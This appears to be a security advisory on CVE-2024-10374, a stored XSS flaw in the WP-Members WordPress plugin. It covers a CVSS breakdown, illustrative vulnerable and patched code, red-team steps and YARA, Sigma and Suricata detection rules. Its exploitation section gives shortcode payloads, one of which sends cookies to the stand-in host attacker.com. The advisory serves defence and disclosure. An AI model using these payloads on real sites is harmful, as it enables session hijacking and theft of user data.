CVE-2024-10374

Executive Summary

CVE-2024-10374 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP-Members Membership Plugin for WordPress, affecting all versions up to and including 3.4.9.5. The flaw resides in the wpmem_loginout shortcode, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious shortcode.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a membership plugin, potentially exposing sensitive user data and session tokens. The CVSS score of 6.4 (Medium) reflects the need for authentication but also the potential for significant impact due to the stored nature of the payload.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is installed directly from the WordPress admin dashboard or via manual upload. Users should verify the integrity of their plugin files and ensure they are sourced from the official repository.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The attack is executed over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs contributor-level access.
• User Interaction (UI): None – No user action is required for the payload to execute.
• Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature can lead to session hijacking, defacement, or phishing attacks against site visitors.

Deep Dive & Mechanics

The vulnerability exists in the wpmem_loginout shortcode, which is used to display login/logout links. The shortcode accepts user-supplied attributes (e.g., redirect_to, class, id). Due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript code into these attributes.

How it works:

1. An attacker with contributor-level access creates or edits a post/page.
2. The attacker inserts the [wpmem_loginout] shortcode with a crafted attribute, e.g., [wpmem_loginout redirect_to="javascript:alert('XSS')"].
3. The plugin does not properly sanitize the redirect_to attribute, allowing the JavaScript to be stored in the database.
4. When any user (including administrators) visits the page, the malicious script executes in their browser context.

Root Cause: The plugin uses esc_attr() or similar functions inconsistently, or fails to validate the attribute values against a whitelist of allowed schemes (e.g., only http:// and https://).

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.4.9.5):

// In wpmem_loginout shortcode handler
function wpmem_loginout_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'redirect_to' => '',
        'class'       => '',
        'id'          => '',
    ), $atts );

    // Directly outputting without sanitization
    $redirect = $atts['redirect_to'];
    // ... later in the output
    echo '<a href="' . $redirect . '">Login</a>';
}

Patched Code (Hypothetical fix):

function wpmem_loginout_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'redirect_to' => '',
        'class'       => '',
        'id'          => '',
    ), $atts );

    // Sanitize and validate the redirect URL
    $redirect = esc_url_raw( $atts['redirect_to'], array( 'http', 'https' ) );
    // Escape output for HTML attribute context
    echo '<a href="' . esc_url( $redirect ) . '">Login</a>';
}

Key Differences:

• Use of esc_url_raw() for sanitization before storage.
• Use of esc_url() for safe output in HTML attributes.
• Restriction of allowed URL schemes to http and https.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with WP-Members plugin <= 3.4.9.5.
• Contributor-level account or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Insert the following shortcode into the post content:

   [wpmem_loginout redirect_to="javascript:alert(document.cookie)"]
   

4. Publish or save the post.
5. Wait for an administrator or visitor to view the post. The JavaScript will execute.

Advanced Payload:

[wpmem_loginout redirect_to="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)"]

Blue Team (Defender)

Detection:

• Monitor for posts/pages containing the [wpmem_loginout] shortcode with suspicious attributes.
• Look for redirect_to values containing javascript:, data:, or other non-HTTP schemes.
• Review user activity logs for contributors creating posts with unusual shortcode usage.

Prevention:

• Update the plugin to a patched version (once available).
• Implement a Web Application Firewall (WAF) rule to block javascript: in shortcode attributes.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File-based:
  • Modified post/page content containing [wpmem_loginout redirect_to="javascript:*"]
• Network-based:
  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Log-based:
  • WordPress audit logs showing creation/editing of posts by contributors with shortcode usage.
  • Web server logs showing requests to pages containing the malicious shortcode.

Detection Engineering

YARA Rule

rule wp_members_stored_xss_cve_2024_10374 {
    meta:
        description = "Detects stored XSS payloads in WP-Members plugin shortcode"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-10374"
    strings:
        $shortcode = /\[wpmem_loginout[^\]]*redirect_to\s*=\s*["']javascript:/i
        $payload = /javascript:\s*\w+/
    condition:
        $shortcode and $payload
}

Sigma Rule

title: WP-Members Stored XSS via wpmem_loginout Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-10374 by injecting JavaScript into the redirect_to attribute.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10374
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "wpmem_loginout"
        cs-uri-query|re: "redirect_to=javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript redirects (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10374 WP-Members Stored XSS Attempt"; flow:to_server,established; content:"wpmem_loginout"; http_uri; pcre:"/redirect_to\s*=\s*(?:%22|%27)?javascript:/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP-Members plugin if not critical to operations.
2. Restrict contributor-level access to only trusted users.
3. Implement a WAF rule to block javascript: in shortcode attributes.

Long-term Fix:

• Apply the vendor patch once released (currently UNKNOWN).
• If no patch is available, manually patch the plugin by adding esc_url_raw() and esc_url() to the shortcode handler as shown in the patched code section.

Workaround:

• Use a security plugin like Wordfence to block XSS payloads.
• Regularly audit posts/pages for malicious shortcode usage.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert